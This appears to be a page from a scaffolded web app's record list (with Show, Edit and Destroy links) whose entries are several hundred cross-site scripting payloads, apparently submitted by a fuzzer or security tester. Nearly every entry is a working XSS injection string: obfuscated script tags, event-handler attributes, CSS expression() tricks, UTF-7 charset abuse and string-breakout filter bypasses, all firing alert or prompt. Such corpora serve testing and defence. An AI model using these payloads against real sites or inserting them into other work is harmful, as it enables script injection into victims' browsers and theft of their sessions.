Edit |
Destroy |
| \'-alert(document.domain);<!-- |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x83javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| \'-alert(document.domain);// |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x80javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\x21javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x82javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE2\x80\x86javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| " autofocus="" onfocus="alert(document.domain) |
Show |
Edit |
Destroy |
| "`'><script>\x0Bjavascript:alert(1)</script> |
Show |
Edit |
Destroy |
| " autofocus="" onfocus="alert(document.domain) |
Show |
Edit |
Destroy |
| "`'><script>\x20javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "`'><script>\xC2\xA0javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /> |
Show |
Edit |
Destroy |
| "};this[8680439..toString(30)](document.domain);// |
Show |
Edit |
Destroy |
| "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x /> |
Show |
Edit |
Destroy |
| "};this[8680439..toString(30)](document.domain);{" |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /> |
Show |
Edit |
Destroy |
| '};this[8680439..toString(30)](document.domain);{' |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /> |
Show |
Edit |
Destroy |
| ';this[8680439..toString(30)](document.domain);//' |
Show |
Edit |
Destroy |
| "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x /> |
Show |
Edit |
Destroy |
| "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x /> |
Show |
Edit |
Destroy |
| x';x=top["al"+"ert"](document.domain);// |
Show |
Edit |
Destroy |
| <script\x2F>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x20>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0D>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0A>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x0C>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x00>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script\x09>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0B=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x00=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0D=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x20=javascript:alert(1)> |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x0A=javascript:alert(1)> |
Show |
Edit |
Destroy |
| x';x=this["al"+"ert"](document.domain);// |
Show |
Edit |
Destroy |
| `"'><img src=xxx:x onerror\x09=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)<\x00/script> |
Show |
Edit |
Destroy |
| <img src=# onerror\x3D"javascript:alert(1)" > |
Show |
Edit |
Destroy |
| #<script>alert(document.domain)</script> |
Show |
Edit |
Destroy |
| <input onfocus=javascript:alert(1) autofocus> |
Show |
Edit |
Destroy |
| <input onblur=javascript:alert(1) autofocus><input autofocus> |
Show |
Edit |
Destroy |
| <video poster=javascript:javascript:alert(1)// |
Show |
Edit |
Destroy |
| <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X |
Show |
Edit |
Destroy |
| <video><source onerror="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <video onerror="javascript:javascript:alert(1)"><source> |
Show |
Edit |
Destroy |
| <form><button formaction="javascript:javascript:alert(1)">X |
Show |
Edit |
Destroy |
| <body oninput=javascript:alert(1)><input autofocus> |
Show |
Edit |
Destroy |
| <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> |
Show |
Edit |
Destroy |
| <frameset onload=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <!--<img src="--><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <table background="javascript:javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> |
Show |
Edit |
Destroy |
| <![><img src="]><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <style><img src="</style><img src=x onerror=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> |
Show |
Edit |
Destroy |
| <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> |
Show |
Edit |
Destroy |
| <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> |
Show |
Edit |
Destroy |
| <b <script>alert(1)</script>0 |
Show |
Edit |
Destroy |
| <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> |
Show |
Edit |
Destroy |
| <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> |
Show |
Edit |
Destroy |
| <embed src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <image src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <script src="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x |
Show |
Edit |
Destroy |
| <? foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <! foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| </ foo="><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> |
Show |
Edit |
Destroy |
| <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> |
Show |
Edit |
Destroy |
| <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x12src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x10src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x13src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x32src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img\x11src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x47src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x34src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x39src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img \x00src=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x09=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x10=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x13=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x32=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x12=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x11=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x00=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src\x47=x onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x09onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x10onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x11onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x12onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x\x13onerror="javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x09"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x10"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x11"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x12"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x32"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <img src=x onerror=\x00"javascript:alert(1)"> |
Show |
Edit |
Destroy |
| <a href=javascript:javascript:alert(1)>XXX</a> |
Show |
Edit |
Destroy |
| <img src="x` `<script>javascript:alert(1)</script>"` `> |
Show |
Edit |
Destroy |
| <img src onerror /" '"= alt=javascript:alert(1)//"> |
Show |
Edit |
Destroy |
| <title onpropertychange=javascript:alert(1)></title><title title=> |
Show |
Edit |
Destroy |
| <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> |
Show |
Edit |
Destroy |
| <!--[if]><script>javascript:alert(1)</script --> |
Show |
Edit |
Destroy |
| <!--[if<img src=x onerror=javascript:alert(1)//]> --> |
Show |
Edit |
Destroy |
| <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> |
Show |
Edit |
Destroy |
| <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X |
Show |
Edit |
Destroy |
| <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style> |
Show |
Edit |
Destroy |
| <link rel=stylesheet href=data:,*{x:expression(javascript:alert(1))} |
Show |
Edit |
Destroy |
| <style>@import "data:,*{x:expression(javascript:alert(1))}";</style> |
Show |
Edit |
Destroy |
| <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a> |
Show |
Edit |
Destroy |
| <div style="font-family:'foo ;color:red;';">XXX |
Show |
Edit |
Destroy |
| <div style="font-family:foo}color=red;">XXX |
Show |
Edit |
Destroy |
| <// style=x:expression\28javascript:alert(1)\29> |
Show |
Edit |
Destroy |
| <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style> |
Show |
Edit |
Destroy |
| <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X |
Show |
Edit |
Destroy |
| <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> |
Show |
Edit |
Destroy |
| <div style="background:url(/f#oo/;color:red/*/foo.jpg);">X |
Show |
Edit |
Destroy |
| <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X |
Show |
Edit |
Destroy |
| <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> |
Show |
Edit |
Destroy |
| <x style="background:url('x;color:red;/*')">XXX</x> |
Show |
Edit |
Destroy |
| <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> |
Show |
Edit |
Destroy |
| <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> |
Show |
Edit |
Destroy |
| <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script> |
Show |
Edit |
Destroy |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script> |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi |
Show |
Edit |
Destroy |
| '-prompt(8)-' |
Show |
Edit |
Destroy |
| <img src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| ';a=prompt,a()// |
Show |
Edit |
Destroy |
| "-prompt(8)-" |
Show |
Edit |
Destroy |
| <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> |
Show |
Edit |
Destroy |
| <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <object src=1 href=1 onerror="javascript:alert(1)"></object> |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <image/src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> |
Show |
Edit |
Destroy |
| <audio src=1 href=1 onerror="javascript:alert(1)"></audio> |
Show |
Edit |
Destroy |
| <img/src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| "-eval("window['pro'+'mpt'](8)")-" |
Show |
Edit |
Destroy |
| "onclick=prompt(8)><svg/onload=prompt(8)>"@x.y |
Show |
Edit |
Destroy |
| <video src=1 href=1 onerror="javascript:alert(1)"></video> |
Show |
Edit |
Destroy |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> |
Show |
Edit |
Destroy |
| <image src/onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> |
Show |
Edit |
Destroy |
| <image src=1 href=1 onerror="javascript:alert(1)"></image> |
Show |
Edit |
Destroy |
| <body src=1 href=1 onerror="javascript:alert(1)"></body> |
Show |
Edit |
Destroy |
| <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> |
Show |
Edit |
Destroy |
| <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> |
Show |
Edit |
Destroy |
| '-eval("window['pro'+'mpt'](8)")-' |
Show |
Edit |
Destroy |
| "onclick=prompt(8)>"@x.y |
Show |
Edit |
Destroy |
| <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> |
Show |
Edit |
Destroy |
| ";a=prompt,a()// |
Show |
Edit |
Destroy |
| <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> |
Show |
Edit |
Destroy |
| <script src=1 href=1 onerror="javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <image src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <img src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| </scrip</script>t><img src =q onerror=prompt(8)> |
Show |
Edit |
Destroy |
| <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> |
Show |
Edit |
Destroy |
| <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> |
Show |
Edit |
Destroy |
| <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> |
Show |
Edit |
Destroy |
| <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> |
Show |
Edit |
Destroy |
| <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> |
Show |
Edit |
Destroy |
| <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> |
Show |
Edit |
Destroy |
| <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> |
Show |
Edit |
Destroy |
| <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> |
Show |
Edit |
Destroy |
| <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> |
Show |
Edit |
Destroy |
| <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> |
Show |
Edit |
Destroy |
| <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> |
Show |
Edit |
Destroy |
| <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> |
Show |
Edit |
Destroy |
| <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> |
Show |
Edit |
Destroy |
| <applet onError applet onError="javascript:javascript:alert(1)"></applet onError> |
Show |
Edit |
Destroy |
| <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> |
Show |
Edit |
Destroy |
| <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> |
Show |
Edit |
Destroy |
| <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> |
Show |
Edit |
Destroy |
| <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> |
Show |
Edit |
Destroy |
| <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> |
Show |
Edit |
Destroy |
| <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> |
Show |
Edit |
Destroy |
| <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> |
Show |
Edit |
Destroy |
| <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> |
Show |
Edit |
Destroy |
| <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> |
Show |
Edit |
Destroy |
| <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> |
Show |
Edit |
Destroy |
| <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> |
Show |
Edit |
Destroy |
| <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> |
Show |
Edit |
Destroy |
| <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> |
Show |
Edit |
Destroy |
| <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> |
Show |
Edit |
Destroy |
| <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> |
Show |
Edit |
Destroy |
| <object onError object onError="javascript:javascript:alert(1)"></object onError> |
Show |
Edit |
Destroy |
| <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> |
Show |
Edit |
Destroy |
| <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> |
Show |
Edit |
Destroy |
| <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> |
Show |
Edit |
Destroy |
| <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> |
Show |
Edit |
Destroy |
| <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> |
Show |
Edit |
Destroy |
| <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> |
Show |
Edit |
Destroy |
| <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> |
Show |
Edit |
Destroy |
| <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> |
Show |
Edit |
Destroy |
| <body onload body onload="javascript:javascript:alert(1)"></body onload> |
Show |
Edit |
Destroy |
| <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> |
Show |
Edit |
Destroy |
| <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> |
Show |
Edit |
Destroy |
| <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> |
Show |
Edit |
Destroy |
| <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> |
Show |
Edit |
Destroy |
| <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> |
Show |
Edit |
Destroy |
| <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> |
Show |
Edit |
Destroy |
| <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> |
Show |
Edit |
Destroy |
| <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> |
Show |
Edit |
Destroy |
| <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> |
Show |
Edit |
Destroy |
| \x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> |
Show |
Edit |
Destroy |
| '"`><script>/* *\x2Fjavascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0D |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0A |
Show |
Edit |
Destroy |
| <script>javascript:alert(1)</script\x0B |
Show |
Edit |
Destroy |
| <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> |
Show |
Edit |
Destroy |
| <script charset="\x22>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> |
Show |
Edit |
Destroy |
| `"'><img src='#\x27 onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p> |
Show |
Edit |
Destroy |
| <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <script>/* *\x2A/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <script>/* *\x00/javascript:alert(1)// */</script> |
Show |
Edit |
Destroy |
| <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a> |
Show |
Edit |
Destroy |
| <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style> |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| %3Cscript%3Ealert('XSS')%3C%2Fscript%3E |
Show |
Edit |
Destroy |
| "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF |
Show |
Edit |
Destroy |
| <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| '`"><\x3Cscript>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script> |
Show |
Edit |
Destroy |
| "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script src="data:\xD4\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| '`"><\x00script>javascript:alert(1)</script> |
Show |
Edit |
Destroy |
| <script src="data:text/plain\x2Cjavascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| "'`><\x00img src=xxx:x onerror=javascript:alert(1)> |
Show |
Edit |
Destroy |
| <script src="data:\xCB\x8F,javascript:alert(1)"></script> |
Show |
Edit |
Destroy |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x09type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x20type="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
Show |
Edit |
Destroy |
| ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x5C(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:expression\x00(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x09expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x20expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
| ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF |
Show |
Edit |
Destroy |
